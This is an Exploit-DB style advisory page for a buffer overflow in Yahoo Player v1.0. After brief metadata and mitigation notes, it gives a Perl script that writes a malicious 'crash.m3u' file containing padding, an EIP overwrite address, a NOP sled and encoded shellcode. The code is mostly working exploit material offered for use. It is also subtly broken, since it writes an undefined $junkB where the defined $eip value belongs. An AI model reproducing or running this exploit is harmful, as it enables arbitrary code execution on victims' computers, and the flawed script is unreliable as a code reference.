Yahoo Player v1.0 (.m3u) Buffer Overflow Exploit (direct EIP overwrite)

vendor:

Player

by:

Bombard

7,5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Player

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:yahoo:player:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2

2010

Yahoo Player v1.0 (.m3u) Buffer Overflow Exploit (direct EIP overwrite)

This exploit is a buffer overflow vulnerability in Yahoo Player v1.0 (.m3u) which allows an attacker to overwrite the EIP register and execute arbitrary code. The exploit is triggered by sending a specially crafted .m3u file to the vulnerable application. The exploit code creates a file called 'crash.m3u' which contains the malicious payload.

Mitigation:

The best way to mitigate buffer overflow attacks is to ensure that all user input is properly validated and sanitized. Additionally, the application should be compiled with stack protection mechanisms such as DEP and ASLR.

Source

Exploit-DB raw data:

# Title: Yahoo Player v1.0 (.m3u) Buffer Overflow Exploit (direct EIP overwrite)
# Date: 2010-03-07
# Author: Bombard(Mr. tro0oqy originally discovered it, and gave a SEH)
#Version:1.0
#Tested on: Windows XP SP2
#CVE:()

my $file="crash.m3u";
my $junkA="A"x2080;
my $eip=pack('V',0x7c80ae31); #eip
my $junkC="C"x12; #align
my $nops="\x90"x60; #nops
my $shellcode="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x31\x4b\x38".
"\x4f\x45\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x38".
"\x4f\x55\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x34".
"\x4b\x58\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x48\x4e\x31\x4b\x38".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x53\x45\x58\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x58\x42\x54\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x33".
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x55\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56".
"\x4e\x36\x43\x36\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x50\x5a";

my $junkD="D"x1000;

open($FILE, ">$file");
print $FILE $junkA.$junkB.$junkC.$nops.$shellcode.$nops.$junkD;
close($FILE);
print "m3u File Created successfully\n";